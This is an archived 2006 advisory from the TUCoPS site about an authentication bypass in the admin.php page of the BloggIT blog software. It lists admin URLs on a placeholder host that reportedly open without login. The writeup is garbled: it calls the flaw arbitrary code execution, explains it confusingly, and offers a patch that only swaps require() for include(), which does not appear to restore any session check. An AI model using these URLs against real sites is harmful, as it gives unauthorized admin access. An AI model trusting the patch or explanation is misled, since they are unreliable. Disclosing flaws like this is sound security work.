Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Blogs :: b06-2766.htm

BloggIT <= 1.01 (admin.php) Arbitrary code execution



BloggIT <= 1.01 (admin.php) Arbitrary code execution
BloggIT <= 1.01 (admin.php) Arbitrary code execution



*/ Federico Fazzi,  
*/ BloggIT <= 1.01 (admin.php) Arbitrary code execution
*/ 04/06/2006 5:48

Bug:

The BloggIT have on the admin.php:

require("session.inc.php");
//- session_start();
//- if ($_SESSION['login'] != "ok") header("Location: index.php");

and require() function don't include the file
for test the security session.

Proof of concept:

The cracker have arbitrary access at:

http://example/admin.php 
http://example/admin.php?op=add_ent 
http://example/admin.php?op=add_usr 
http://example/admin.php?op=man_ent 
http://example/admin.php?op=man_usr 
http://example/admin.php?op=man_cat 
http://example/admin.php?op=man_com 
http://example/admin.php?op=man_fil 

Patch:

--- admin.php   2006-06-05 20:51:05.000000000 +0200
+++ admin.php  2006-06-05 20:51:23.000000000 +0200
@@ -6,7 +6,7 @@
 require("config.inc.php");
 require("language.inc.php");
 require("parsing.inc.php");
-require("session.inc.php");
+include("session.inc.php");

 print("{$title} - Powered by BloggIT 1.01\n");
 ?>



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH